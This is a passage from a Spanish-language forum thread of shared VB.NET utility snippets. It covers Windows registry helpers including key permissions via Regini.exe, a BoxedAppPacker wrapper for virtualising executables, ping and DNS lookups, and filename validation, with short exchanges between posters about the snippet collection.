  286.            ' MsgBox(ex.Message)
  287.            ' Throw New Exception(ex.Message)
  288.            Return False
  289.        End Try
  290.  
  291.    End Function
  292.  
  293.    ''' <summary>
  294.    ''' Check if a value exist.
  295.    ''' </summary>
  296.    Public Shared Function Exist_Value(ByVal RegKey As String, ByVal RegValue As String) As Boolean
  297.  
  298.        Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey)
  299.        Dim KeyPath As String = Get_Key_Path(RegKey)
  300.  
  301.        Try
  302.            If RootKey.OpenSubKey(KeyPath, False).GetValue(RegValue) = String.Empty Then
  303.                Return False
  304.            Else
  305.                Return True
  306.            End If
  307.        Catch ex As Exception
  308.            ' MsgBox(ex.Message)
  309.            ' Throw New Exception(ex.Message)
  310.            Return False
  311.        End Try
  312.  
  313.    End Function
  314.  
  315.    ''' <summary>
  316.    ''' Check if a value have empty data.
  317.    ''' </summary>
  318.    Public Shared Function Exist_Data(ByVal RegKey As String, ByVal RegValue As String) As Boolean
  319.  
  320.        Dim RootKey As String = Get_Root_Key(RegKey).ToString
  321.        Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
  322.  
  323.        Try
  324.            If My.Computer.Registry.GetValue(KeyPath, RegValue, Nothing) = Nothing Then
  325.                Return False
  326.            Else
  327.                Return True
  328.            End If
  329.        Catch ex As Exception
  330.            ' MsgBox(ex.Message)
  331.            ' Throw New Exception(ex.Message)
  332.            Return False
  333.        End Try
  334.  
  335.    End Function
  336.  
  337.    ''' <summary>
  338.    ''' Copy a key tree to another location of the registry.
  339.    ''' </summary>
  340.    Public Shared Function Copy_Key(ByVal OldRootKey As String, _
  341.                        ByVal OldPath As String, _
  342.                        ByVal OldName As String, _
  343.                        ByVal NewRootKey As String, _
  344.                        ByVal NewPath As String, _
  345.                        ByVal NewName As String) As Boolean
  346.  
  347.        If OldPath Is Nothing Then OldPath = ""
  348.        If NewRootKey Is Nothing Then NewRootKey = OldRootKey
  349.        If NewPath Is Nothing Then NewPath = ""
  350.        If NewName Is Nothing Then NewName = ""
  351.  
  352.        If OldRootKey.EndsWith("\") Then OldRootKey = OldRootKey.Substring(0, OldRootKey.Length - 1)
  353.        If NewRootKey.EndsWith("\") Then NewRootKey = NewRootKey.Substring(0, NewRootKey.Length - 1)
  354.  
  355.        If OldPath.StartsWith("\") Then OldPath = OldPath.Substring(1, OldPath.Length - 1)
  356.        If OldPath.EndsWith("\") Then OldPath = OldPath.Substring(0, OldPath.Length - 1)
  357.        If NewPath.StartsWith("\") Then NewPath = NewPath.Substring(1, NewPath.Length - 1)
  358.        If NewPath.EndsWith("\") Then NewPath = NewPath.Substring(0, NewPath.Length - 1)
  359.  
  360.        If OldName.StartsWith("\") Then OldName = OldName.Substring(1, OldName.Length - 1)
  361.        If OldName.EndsWith("\") Then OldName = OldName.Substring(0, OldName.Length - 1)
  362.        If NewName.StartsWith("\") Then NewName = NewName.Substring(1, NewName.Length - 1)
  363.        If NewName.EndsWith("\") Then NewName = NewName.Substring(0, NewName.Length - 1)
  364.  
  365.        Dim OrigRootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(OldRootKey)
  366.        Dim DestRootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(NewRootKey)
  367.  
  368.        Dim oldkey As Microsoft.Win32.RegistryKey = OrigRootKey.OpenSubKey(OldPath + "\" + OldName, True)
  369.        Dim newkey As Microsoft.Win32.RegistryKey = DestRootKey.OpenSubKey(NewPath, True).CreateSubKey(NewName)
  370.        Reg_Copy_SubKeys(oldkey, newkey)
  371.        Return True
  372.    End Function
  373.  
  374.    Private Shared Sub Reg_Copy_SubKeys(OrigKey As Microsoft.Win32.RegistryKey, DestKey As Microsoft.Win32.RegistryKey)
  375.  
  376.        Dim ValueNames As String() = OrigKey.GetValueNames()
  377.        Dim SubKeyNames As String() = OrigKey.GetSubKeyNames()
  378.  
  379.        For i As Integer = 0 To ValueNames.Length - 1
  380.            Application.DoEvents()
  381.            DestKey.SetValue(ValueNames(i), OrigKey.GetValue(ValueNames(i)))
  382.        Next
  383.  
  384.        For i As Integer = 0 To SubKeyNames.Length - 1
  385.            Application.DoEvents()
  386.            Reg_Copy_SubKeys(OrigKey.OpenSubKey(SubKeyNames(i), True), DestKey.CreateSubKey(SubKeyNames(i)))
  387.        Next
  388.  
  389.    End Sub
  390.  
  391.    ''' <summary>
  392.    ''' Copy a value with their data to another location of the registry.
  393.    ''' If the Key don't exist it will be created automatically.
  394.    ''' </summary>
  395.    Public Shared Function Copy_Value(ByVal RegKey As String, ByVal RegValue As String, _
  396.                                      ByVal NewRegKey As String, ByVal NewRegValue As String) As Boolean
  397.  
  398.        Dim OldRootKey As String = Get_Root_Key(RegKey).ToString
  399.        Dim OldKeyPath As String = OldRootKey & "\" & Get_Key_Path(RegKey)
  400.  
  401.        Dim NewRootKey As String = Get_Root_Key(NewRegKey).ToString
  402.        Dim NewKeyPath As String = NewRootKey & "\" & Get_Key_Path(NewRegKey)
  403.  
  404.        Dim RegData = Get_Value(OldKeyPath, RegValue)
  405.  
  406.        Try
  407.            Set_Value(NewKeyPath, NewRegValue, RegData, Microsoft.Win32.RegistryValueKind.Unknown)
  408.            Return True
  409.        Catch ex As Exception
  410.            ' MsgBox(ex.Message)
  411.            ' Throw New Exception(ex.Message)
  412.            Return False
  413.        End Try
  414.  
  415.    End Function
  416.  
  417.    ''' <summary>
  418.    ''' Valid User identifiers for Regini.exe command.
  419.    ''' </summary>
  420.    Public Enum RegUserAccess As Short
  421.        Administrators_Full_Access = 1
  422.        Administrators_Read_Access = 2
  423.        Administrators_Read_and_Write_Access = 3
  424.        Administrators_Read_Write_and_Delete_Access4
  425.        Administrators_Read_Write_and_Execute_Access = 20
  426.        Creator_Full_Access = 5
  427.        Creator_Read_and_Write_Access = 6
  428.        Interactive_User_Full_Access = 21
  429.        Interactive_User_Read_and_Write_Access = 22
  430.        Interactive_User_Read_Write_and_Delete_Access = 23
  431.        Power_Users_Full_Access = 11
  432.        Power_Users_Read_and_Write_Access = 12
  433.        Power_Users_Read_Write_and_Delete_Access = 13
  434.        System_Full_Access = 17
  435.        System_Operators_Full_Access = 14
  436.        System_Operators_Read_and_Write_Access = 15
  437.        System_Operators_Read_Write_and_Delete_Access = 16
  438.        System_Read_Access = 19
  439.        System_Read_and_Write_Access = 18
  440.        World_Full_Access = 7
  441.        World_Read_Access = 8
  442.        World_Read_and_Write_Access = 9
  443.        World_Read_Write_and_Delete_Access = 10
  444.    End Enum
  445.  
  446.    ''' <summary>
  447.    ''' Modify the User permissions of a registry key.
  448.    ''' </summary>
  449.    Public Shared Function Set_UserAccess_Key(ByVal RegKey As String, ByVal RegUserAccess() As RegUserAccess) As Boolean
  450.  
  451.        Dim PermissionString As String = Nothing
  452.        Dim RootKey As String = Get_Root_Key(RegKey).ToString
  453.  
  454.        Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
  455.        If KeyPath.EndsWith("\") Then KeyPath = KeyPath.Substring(0, KeyPath.Length - 1)
  456.  
  457.        For Each user In RegUserAccess
  458.            Application.DoEvents()
  459.            PermissionString += " " & user
  460.        Next
  461.  
  462.        PermissionString = "[" & PermissionString & "]"
  463.        PermissionString = PermissionString.Replace("[ ", "[")
  464.  
  465.        Try
  466.  
  467.            Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "Regini.ini", False, System.Text.Encoding.ASCII)
  468.                TextFile.WriteLine("""" & KeyPath & """" & " " & PermissionString)
  469.            End Using
  470.  
  471.            Dim Regini As New Process()
  472.            Dim Regini_Info As New ProcessStartInfo()
  473.  
  474.            Regini_Info.FileName = "Regini.exe"
  475.  
  476.  
  477.            MsgBox(PermissionString)
  478.            MsgBox("Regini.exe " & """" & System.IO.Path.GetTempPath() & "Regini.ini" & """")
  479.  
  480.  
  481.            Regini_Info.Arguments = """" & System.IO.Path.GetTempPath() & "Regini.ini" & """"
  482.            Regini_Info.CreateNoWindow = True
  483.            Regini_Info.WindowStyle = ProcessWindowStyle.Hidden
  484.            Regini_Info.UseShellExecute = False
  485.            Regini.StartInfo = Regini_Info
  486.            Regini.Start()
  487.            Regini.WaitForExit()
  488.  
  489.            If Regini.ExitCode <> 0 Then
  490.                Return False
  491.            Else
  492.                Return True
  493.            End If
  494.  
  495.        Catch ex As Exception
  496.            ' MsgBox(ex.Message)
  497.            ' Throw New Exception(ex.Message)
  498.            Return False
  499.        End Try
  500.  
  501.    End Function
  502.  
  503.    ' Returns the RootKey formatted
  504.    Private Shared Function Get_Root_Key(ByVal RegKey As String) As Microsoft.Win32.RegistryKey
  505.        Select Case RegKey.ToUpper.Split("\").First
  506.            Case "HKCR", "HKEY_CLASSES_ROOT" : Return Microsoft.Win32.Registry.ClassesRoot
  507.            Case "HKCC", "HKEY_CURRENT_CONFIG" : Return Microsoft.Win32.Registry.CurrentConfig
  508.            Case "HKCU", "HKEY_CURRENT_USER" : Return Microsoft.Win32.Registry.CurrentUser
  509.            Case "HKLM", "HKEY_LOCAL_MACHINE" : Return Microsoft.Win32.Registry.LocalMachine
  510.            Case "HKEY_PERFORMANCE_DATA" : Return Microsoft.Win32.Registry.PerformanceData
  511.            Case Else : Return Nothing
  512.        End Select
  513.    End Function
  514.  
  515.    ' Returns the KeyPath formatted
  516.    Private Shared Function Get_Key_Path(ByVal RegKey As String) As String
  517.        Dim KeyPath As String = String.Empty
  518.        For i As Integer = 1 To RegKey.Split("\").Length - 1
  519.            Application.DoEvents()
  520.            KeyPath += RegKey.Split("\")(i) & "\"
  521.        Next
  522.  
  523.        If Not KeyPath.Contains("\") Then KeyPath = KeyPath & "\"
  524.        KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\"))
  525.  
  526.        Return KeyPath
  527.    End Function
  528.  
  529. End Class
  530.  
  531. #End Region
  532.  
  533. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: TrashAmbishion en 8 Mayo 2013, 16:20 pm
El codigo de agregar un usuario en el sistema, lo tienes incluido aqui ?

Barbarísimo estos codes, este POST es para codes hechos por uno o se puede publicar un code que me halla encontrado, salu2

thx


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Mayo 2013, 17:02 pm
El codigo de agregar un usuario en el sistema, lo tienes incluido aqui ?
¿Incluido donde?, ¿en el archivo del recopilatorio comprimido?, a que te refieres, el código lo tienes en la página 7.

Barbarísimo estos codes, este POST es para codes hechos por uno o se puede publicar un code que me haya encontrado, salu2
No hay reglas, puedes publicar tanto código própio como ajeno,
lo importante que hay que tener en cuenta es que séa código re-usable y no código hardcodeado.

un saludo!

EDITO:

Man tu tienes todos los codes que publicas alli dentro del compactado ??
Si, todos los codes que yo he publicado es porque he necesitado usarlos, y me guardo una copia que puedes encontrar en el post principal.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Mayo 2013, 17:14 pm
¡ PACK DE SNIPPETS ACTUALIZADO EN EL POST PRINCIPAL !

Ya puedes descargar la colección completa de 290 snippets útiles.

PD: Y no te olvides de ser generoso compartiendo tu conocimiento con los demás en este post...

http://elektrostudios.tk/Snippets.zip (http://elektrostudios.tk/Snippets.zip)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Mayo 2013, 20:34 pm
Con esta Class pueden manejar la aplicación BoxedAppPacker en tiempo de ejecución para empaquetar otros proyectos .NET (u otro tipo de executables) para virtualizarlos.
PD: Se necesita la aplicación BoxedAppPacker v3.XXX (versión de consola), la class no usa el SDK.

Código
  1. #Region " BoxedAppPacker "
  2.  
  3. ' [ BoxedAppPacker Functions ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Instructions:
  8. ' 1. Add the "BoxedAppPackerConsole.exe" to the project
  9. ' 2. Add the "BoxedAppPacker Class" Class to the project
  10. '
  11. ' Examples:
  12. '
  13. ' -----------------
  14. ' Pack Single File:
  15. ' -----------------
  16. ' BoxedAppPacker.Pack_Single_File("C:\Windows\Explorer.exe", "C:\Virtual Explorer.exe")
  17. ' BoxedAppPacker.Pack_Single_File("C:\Windows\Explorer.exe", "C:\Virtual Explorer.exe", True, True, True, True, True, BoxedAppPacker.BoxedAppPackerVariables.ExeDir)
  18. '
  19. ' ---------------------------------
  20. ' Pack File And Include More Files:
  21. ' ---------------------------------
  22. ' BoxedAppPacker.Pack_File_And_Include_More_Files("C:\Windows\Explorer.exe", {"C:\Windows\system32\shell32.dll", "C:\Windows\system32\notepad.exe"}, "C:\Virtual Explorer.exe", True, True, True)
  23.  
  24.  
  25. #Region " BoxedAppPacker Class "
  26.  
  27. Public Class BoxedAppPacker
  28.  
  29.    ''' <summary>
  30.    ''' The BoxedAppPackerConsole.exe location.
  31.    ''' </summary>
  32.    Public Shared BoxedAppPacker_Location As String = ".\BoxedAppPackerConsole.exe"
  33.  
  34.    ''' <summary>
  35.    ''' Boxed App Packer Variables To Override CommandLine.
  36.    ''' </summary>
  37.    Public Enum BoxedAppPackerVariables
  38.        ExeDir ' a directory that contains the packed exe.
  39.        CurDir ' current directory .
  40.        ProgramFiles ' ProgramFiles environment variable.
  41.        Temp ' Temp environment variable.
  42.        BoxedAppVar_ExeFileName ' exe's file name (for example, "notepad.exe")
  43.        BoxedAppVar_ExeFileExtension ' exe's file extension (for example, "exe")
  44.        BoxedAppVar_ExeFileNameWithoutExtension ' exe's file name without extension (for example, "notepad")
  45.        BoxedAppVar_ExeFullPath ' exe's full path (for example, "C_\notepad.exe")
  46.        BoxedAppVar_OldCmdLine ' a command line specified when the packed exe started, you can use it to add additional arguments, for example: <BoxedAppVar:OldCmdLine> /NewSwitch
  47.        BoxedAppVar_OldArgs ' a command line specified when the packed exe started without the exe path, for example "<BoxedAppVar:ExeFullPath>" /C virtual.cmd <BoxedAppVar:OldArgs>, Usage: packed.exe Arg1 Arg2, It works as: original.exe /C virtual.cmd Arg1 Arg2
  48.    End Enum
  49.  
  50.    ''' <summary>
  51.    ''' Virtualize a single executable.
  52.    ''' </summary>
  53.    Public Shared Function Pack_Single_File(ByVal File As String, ByVal OutputFile As String, _
  54.                                    Optional ByVal Make_All_File_And_Registry_Changes_Virtual As Boolean = True, _
  55.                                    Optional ByVal Hide_Virtual_Files_From_File_Dialog As Boolean = True, _
  56.                                    Optional ByVal Share_Virtual_Environment_With_Child_Processes As Boolean = False, _
  57.                                    Optional ByVal Enable_Virtual_Registry As Boolean = True, _
  58.                                    Optional ByVal Enable_CommandLine_Arguments As Boolean = True, _
  59.                                    Optional ByVal CommandLine_Variable As BoxedAppPackerVariables = BoxedAppPackerVariables.ExeDir
  60.                                    ) As Boolean
  61.  
  62.        If Not Check_InputExecutable(File) Then Return False
  63.  
  64.        Dim CommandLine_Variable_Formatted As String = CommandLine_Variable.ToString.Replace("_", ":")
  65.  
  66.        Dim BoxedProject_Options_Section As String = "<project project_version=""2"" src=""" _
  67.                                                     & File & _
  68.                                                     """ dest=""" _
  69.                                                     & OutputFile & _
  70.                                                     """ cmd_line_overridden=""" _
  71.                                                     & Enable_CommandLine_Arguments & _
  72.                                                     """ cmd_args=""&lt;" _
  73.                                                     & CommandLine_Variable_Formatted & _
  74.                                                     "&gt;"" share_virtual_environment_with_child_processes=""" _
  75.                                                     & Share_Virtual_Environment_With_Child_Processes & _
  76.                                                     """ enable_debug_log=""false"" " & _
  77.                                                     "enable_virtual_registry=""" _
  78.                                                     & Enable_Virtual_Registry & _
  79.                                                     """ hide_virtual_files_from_file_dialog=""" _
  80.                                                     & Hide_Virtual_Files_From_File_Dialog & _
  81.                                                     """ all_changes_are_virtual=""" _
  82.                                                     & Make_All_File_And_Registry_Changes_Virtual & """>"
  83.  
  84.        Dim BoxedProject_File_Section As String = <a><![CDATA[
  85.  
  86.  <files>
  87.    <file source_path="" name="&lt;ExeDir&gt;" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
  88.      <files/>
  89.    </file>
  90.    <file source_path="" name="&lt;SystemRoot&gt;" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
  91.      <files>
  92.        <file source_path="" name="System32" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
  93.          <files/>
  94.        </file>
  95.      </files>
  96.    </file>
  97.  </files>
  98. ]]></a>.Value
  99.  
  100.        Dim BoxedProject_Registry_Section As String = <a><![CDATA[
  101.  <registry>
  102.    <keys>
  103.      <key name="HKEY_CLASSES_ROOT" virtual="false" virtually_deleted="false">
  104.        <values/>
  105.        <keys/>
  106.      </key>
  107.      <key name="HKEY_CURRENT_CONFIG" virtual="false" virtually_deleted="false">
  108.        <values/>
  109.        <keys/>
  110.      </key>
  111.      <key name="HKEY_CURRENT_USER" virtual="false" virtually_deleted="false">
  112.        <values/>
  113.        <keys/>
  114.      </key>
  115.      <key name="HKEY_LOCAL_MACHINE" virtual="false" virtually_deleted="false">
  116.        <values/>
  117.        <keys/>
  118.      </key>
  119.      <key name="HKEY_USERS" virtual="false" virtually_deleted="false">
  120.        <values/>
  121.        <keys/>
  122.      </key>
  123.    </keys>
  124.  </registry>
  125. </project>
  126. ]]></a>.Value
  127.  
  128.        Try
  129.            Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj", False, System.Text.Encoding.ASCII)
  130.                TextFile.WriteLine(BoxedProject_Options_Section)
  131.            End Using
  132.  
  133.            Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj", True, System.Text.Encoding.ASCII)
  134.                TextFile.WriteLine(BoxedProject_File_Section)
  135.                TextFile.WriteLine(BoxedProject_Registry_Section)
  136.            End Using
  137.  
  138.            Dim BoxedAppPacker_Console As New Process()
  139.            Dim BoxedAppPacker_Console_Info As New ProcessStartInfo()
  140.  
  141.            BoxedAppPacker_Console_Info.FileName = BoxedAppPacker_Location
  142.            BoxedAppPacker_Console_Info.Arguments = """" & System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj" & """"
  143.            BoxedAppPacker_Console_Info.CreateNoWindow = True
  144.            BoxedAppPacker_Console_Info.WindowStyle = ProcessWindowStyle.Hidden
  145.            BoxedAppPacker_Console_Info.UseShellExecute = False
  146.            BoxedAppPacker_Console.StartInfo = BoxedAppPacker_Console_Info
  147.            BoxedAppPacker_Console.Start()
  148.            BoxedAppPacker_Console.WaitForExit()
  149.  
  150.            If BoxedAppPacker_Console.ExitCode <> 0 Then
  151.                Return False
  152.            Else
  153.                Return True
  154.            End If
  155.        Catch ex As Exception
  156.            ' MsgBox(ex.Message)
  157.            Return False
  158.        End Try
  159.  
  160.    End Function
  161.  
  162.    ''' <summary>
  163.    ''' Virtualize a executable and include more files.
  164.    ''' </summary>
  165.    Public Shared Function Pack_File_And_Include_More_Files(ByVal File As String, ByVal SubFiles() As String, ByVal OutputFile As String, _
  166.                                Optional ByVal Make_All_File_And_Registry_Changes_Virtual As Boolean = True, _
  167.                                Optional ByVal Hide_Virtual_Files_From_File_Dialog As Boolean = True, _
  168.                                Optional ByVal Share_Virtual_Environment_With_Child_Processes As Boolean = False, _
  169.                                Optional ByVal Enable_Virtual_Registry As Boolean = True, _
  170.                                Optional ByVal Enable_CommandLine_Arguments As Boolean = True, _
  171.                                Optional ByVal CommandLine_Variable As BoxedAppPackerVariables = BoxedAppPackerVariables.ExeDir
  172.                                ) As Boolean
  173.  
  174.        If Not Check_InputExecutable(File) Then Return False
  175.  
  176.        Dim CommandLine_Variable_Formatted As String = CommandLine_Variable.ToString.Replace("_", ":")
  177.  
  178.        Dim BoxedProject_Options_Section As String = "<project project_version=""2"" src=""" _
  179.                                                     & File & _
  180.                                                     """ dest=""" _
  181.                                                     & OutputFile & _
  182.                                                     """ cmd_line_overridden=""" _
  183.                                                     & Enable_CommandLine_Arguments & _
  184.                                                     """ cmd_args=""&lt;" _
  185.                                                     & CommandLine_Variable_Formatted & _
  186.                                                     "&gt;"" share_virtual_environment_with_child_processes=""" _
  187.                                                     & Share_Virtual_Environment_With_Child_Processes & _
  188.                                                     """ enable_debug_log=""false"" " & _
  189.                                                     "enable_virtual_registry=""" _
  190.                                                     & Enable_Virtual_Registry & _
  191.                                                     """ hide_virtual_files_from_file_dialog=""" _
  192.                                                     & Hide_Virtual_Files_From_File_Dialog & _
  193.                                                     """ all_changes_are_virtual=""" _
  194.                                                     & Make_All_File_And_Registry_Changes_Virtual & """>"
  195.  
  196.        ' Generate File Section Start
  197.        Dim BoxedProject_File_Section_Start As String = <a><![CDATA[
  198.  
  199.  <files>
  200.    <file source_path="" name="&lt;ExeDir&gt;" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
  201.      <files>
  202. ]]></a>.Value
  203.  
  204.        ' Generate SubFiles Tags Section
  205.        Dim FileCount As Int16 = 0
  206.        Dim SubFile_Tag As String = Nothing
  207.  
  208.        For SubFile As Integer = 1 To SubFiles.Count
  209.            Application.DoEvents()
  210.            FileCount += 1
  211.  
  212.            If FileCount = 1 Then
  213.                SubFile_Tag += <a><![CDATA[
  214.        <file source_path="]]></a>.Value & SubFiles(FileCount - 1) & <a><![CDATA[" name="]]></a>.Value & SubFiles(FileCount - 1).Split("\").Last & <a><![CDATA[" virtual="true" virtually_deleted="false" dir="false" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="/RegServer" register_as_typelib="false">
  215.          <files/>
  216. ]]></a>.Value
  217.            Else
  218.                SubFile_Tag += <a><![CDATA[
  219.        </file>
  220.        <file source_path="]]></a>.Value & SubFiles(FileCount - 1) & <a><![CDATA[" name="]]></a>.Value & SubFiles(FileCount - 1).Split("\").Last & <a><![CDATA[" virtual="true" virtually_deleted="false" dir="false" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="/RegServer" register_as_typelib="false">
  221.          <files/>
  222. ]]></a>.Value
  223.            End If
  224.  
  225.        Next
  226.  
  227.        ' Generate File Section End
  228.        Dim BoxedProject_File_Section_End As String = <a><![CDATA[
  229.        </file>
  230.      </files>
  231.    </file>
  232.    <file source_path="" name="&lt;SystemRoot&gt;" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
  233.      <files>
  234.        <file source_path="" name="System32" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
  235.          <files/>
  236.        </file>
  237.      </files>
  238.    </file>
  239.  </files>
  240. ]]></a>.Value
  241.  
  242.        ' Generate Registry Section
  243.        Dim BoxedProject_Registry_Section As String = <a><![CDATA[
  244.  <registry>
  245.    <keys>
  246.      <key name="HKEY_CLASSES_ROOT" virtual="false" virtually_deleted="false">
  247.        <values/>
  248.        <keys/>
  249.      </key>
  250.      <key name="HKEY_CURRENT_CONFIG" virtual="false" virtually_deleted="false">
  251.        <values/>
  252.        <keys/>
  253.      </key>
  254.      <key name="HKEY_CURRENT_USER" virtual="false" virtually_deleted="false">
  255.        <values/>
  256.        <keys/>
  257.      </key>
  258.      <key name="HKEY_LOCAL_MACHINE" virtual="false" virtually_deleted="false">
  259.        <values/>
  260.        <keys/>
  261.      </key>
  262.      <key name="HKEY_USERS" virtual="false" virtually_deleted="false">
  263.        <values/>
  264.        <keys/>
  265.      </key>
  266.    </keys>
  267.  </registry>
  268. </project>
  269. ]]></a>.Value
  270.  
  271.        Try
  272.  
  273.            Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj", False, System.Text.Encoding.ASCII)
  274.                TextFile.WriteLine(BoxedProject_Options_Section)
  275.                TextFile.WriteLine(BoxedProject_File_Section_Start)
  276.                TextFile.WriteLine(SubFile_Tag)
  277.                TextFile.WriteLine(BoxedProject_File_Section_End)
  278.                TextFile.WriteLine(BoxedProject_Registry_Section)
  279.            End Using
  280.  
  281.            Dim BoxedAppPacker_Console As New Process()
  282.            Dim BoxedAppPacker_Console_Info As New ProcessStartInfo()
  283.  
  284.            BoxedAppPacker_Console_Info.FileName = BoxedAppPacker_Location
  285.            BoxedAppPacker_Console_Info.Arguments = """" & System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj" & """"
  286.            BoxedAppPacker_Console_Info.CreateNoWindow = True
  287.            BoxedAppPacker_Console_Info.WindowStyle = ProcessWindowStyle.Hidden
  288.            BoxedAppPacker_Console_Info.UseShellExecute = False
  289.            BoxedAppPacker_Console.StartInfo = BoxedAppPacker_Console_Info
  290.            BoxedAppPacker_Console.Start()
  291.            BoxedAppPacker_Console.WaitForExit()
  292.  
  293.            If BoxedAppPacker_Console.ExitCode <> 0 Then
  294.                Return False
  295.            Else
  296.                Return True
  297.            End If
  298.        Catch ex As Exception
  299.            ' MsgBox(ex.Message)
  300.            Return False
  301.        End Try
  302.  
  303.    End Function
  304.  
  305.    ' Checks if InputFile exist and also is a executable.
  306.    Private Shared Function Check_InputExecutable(ByVal File As String) As Boolean
  307.        If Not IO.File.Exists(File) Then
  308.            MsgBox("File don't exist.")
  309.            Return False
  310.        End If
  311.        If Not File.ToLower.EndsWith(".exe") Then
  312.            MsgBox("Not a valid executable file.")
  313.            Return False
  314.        End If
  315.        Return True
  316.    End Function
  317.  
  318. End Class
  319.  
  320. #End Region
  321.  
  322. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Mayo 2013, 08:28 am
Hacer Ping a una máquina:

Código
  1.    #Region " Ping "
  2.  
  3.       ' [ Ping Function ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       ' MsgBox(Ping("www.google.com"))
  9.       ' MsgBox(Ping("www.google.com", 500))
  10.       ' MsgBox(Ping("www.google.com", 500, New Byte(128) {}, False))
  11.       ' MsgBox(Ping("www.google.com", 500, System.Text.Encoding.ASCII.GetBytes("Hello"), True))
  12.       ' For X As Int32 = 1 To 10 : If Not Ping("www.google.com", 1000) Then : MsgBox("Ping try " & X & " failed") : End If : Next : MsgBox("Ping successfully")
  13.  
  14.       Public Function Ping(ByVal Address As String, _
  15.                              Optional ByVal TimeOut As Int64 = 200, _
  16.                              Optional ByVal BufferData As Byte() = Nothing, _
  17.                              Optional ByVal FragmentData As Boolean = False, _
  18.                              Optional ByVal TimeToLive As Int64 = 128) As Boolean
  19.  
  20.           Dim PingSender As New System.Net.NetworkInformation.Ping()
  21.           Dim PingOptions As New System.Net.NetworkInformation.PingOptions()
  22.  
  23.           If FragmentData Then PingOptions.DontFragment = False Else PingOptions.DontFragment = True
  24.           If BufferData Is Nothing Then BufferData = New Byte(31) {} ' Sets a BufferSize of 32 Bytes
  25.           PingOptions.Ttl = TimeToLive
  26.  
  27.           Dim Reply As System.Net.NetworkInformation.PingReply = PingSender.Send(Address, TimeOut, BufferData, PingOptions)
  28.  
  29.           If Reply.Status = System.Net.NetworkInformation.IPStatus.Success Then
  30.               ' MsgBox("Address: " & Reply.Address.ToString)
  31.               ' MsgBox("RoundTrip time: " & Reply.RoundtripTime)
  32.               ' MsgBox("Time to live: " & Reply.Options.Ttl)
  33.               ' MsgBox("Buffer size: " & Reply.Buffer.Length)
  34.               Return True
  35.           Else
  36.               Return False
  37.           End If
  38.  
  39.       End Function
  40.  
  41.    #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Mayo 2013, 11:45 am

Devuelve la dirección IP de un Host

Código
  1. #Region " HostName To IP "
  2.  
  3.    ' [ HostName To IP Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(HostName_To_IP("www.google.com")) ' Result: 173.194.41.6
  10.  
  11.    Public Function HostName_To_IP(ByVal HotsName As String) As String
  12.        Return System.Net.Dns.GetHostEntry(HotsName).AddressList(1).ToString()
  13.    End Function
  14.  
  15. #End Region



Devuelve el Hostname de una IP

Código
  1. #Region " IP To HostName "
  2.  
  3.    ' [ IP To HostName Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(IP_To_HostName("173.194.41.6")) ' Result: mad01s14-in-f6.1e100.net
  10.  
  11.    Public Function IP_To_HostName(ByVal IP As String) As String
  12.        Return system.net.Dns.GetHostEntry(IP).HostName.ToString
  13.    End Function
  14.  
  15. #End Region





Valida si un nombre de archivo o ruta contiene caracteres no permitidos por Windows

(Este snippet lo posteé hace tiempo pero tenía varios fallos, los he corregido.)

Código
  1. #Region " Validate Windows FileName "
  2.  
  3.    ' [ Validate Windows FileName Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Validate_Windows_FileName("C:\Test.txt"))  ' Result: True
  7.    ' MsgBox(Validate_Windows_FileName("C:\Te|st.txt")) ' Result: False
  8.  
  9.    Private Function Validate_Windows_FileName(ByRef FileName As String)
  10.        Dim Directory As String = Nothing
  11.        Dim File As String = Nothing
  12.  
  13.        Try
  14.            Directory = FileName.Substring(0, FileName.LastIndexOf("\")) & "\"
  15.            File = FileName.Split("\").Last
  16.        Catch
  17.            If Directory Is Nothing Then File = FileName
  18.        End Try
  19.  
  20.        If Directory Is Nothing AndAlso File Is Nothing Then Return False
  21.  
  22.        If Not Directory Is Nothing Then
